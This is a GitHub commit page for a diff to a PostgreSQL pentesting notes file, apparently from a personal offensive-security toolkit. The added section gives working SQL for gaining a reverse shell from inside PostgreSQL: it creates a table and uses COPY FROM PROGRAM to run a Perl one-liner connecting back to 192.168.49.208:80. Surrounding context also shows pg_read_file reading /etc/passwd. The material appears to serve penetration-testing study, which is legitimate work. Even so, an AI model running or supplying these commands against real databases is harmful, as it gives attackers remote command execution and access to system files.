Skip to content

Commit

Permalink
Update Readme.md
Browse files Browse the repository at this point in the history
  • Loading branch information
rootsecdev authored Sep 3, 2022
1 parent e5bd294 commit 223038f
Showing 1 changed file with 19 additions and 0 deletions.
19 changes: 19 additions & 0 deletions Tools/Postgres/Readme.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,8 @@

URL Reference: https://book.hacktricks.xyz/network-services-pentesting/pentesting-postgresql

URL Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5

User Authentication Example:

```
Expand All @@ -23,3 +25,20 @@ Read Files:
```
pg_read_file('/etc/passwd');
```

## Creating a reverse shell from within postgres (Linux):

Drop table cmd_exec if it exists:
```
DROP TABLE IF EXISTS cmd_exec;
```

Create table cmd_exec:
```
CREATE TABLE cmd_exec(cmd_output text);
```

Start a reverse shell inside DB with perl (I got this idea from payloadallthethings):
```
COPY cmd_exec FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.49.208:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```

0 comments on commit 223038f

Please sign in to comment.